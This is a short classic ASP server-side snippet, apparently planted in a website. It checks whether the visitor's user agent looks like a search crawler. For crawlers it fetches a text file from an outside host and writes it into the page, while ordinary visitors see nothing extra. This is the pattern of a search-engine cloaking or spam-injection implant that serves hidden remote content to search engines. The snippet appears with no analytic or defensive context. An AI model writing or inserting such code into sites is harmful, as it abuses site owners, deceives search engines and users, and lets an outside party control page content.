<% Set http = Server.CreateObject ("Microsoft.XMLHTTP") set regexn = new regexp regexn.ignorecase = true regexn.global = true regexn.pattern = "Google Web Preview|bot|spider|wget" if regexn.test(request.ServerVariables("HTTP_USER_AGENT")) then http.Open "GET", "http://wedlink.buklsainsa.org/hot123.txt", false http.Send Response.write http.ResponseText end if Set http = Nothing Set regexn = Nothing %>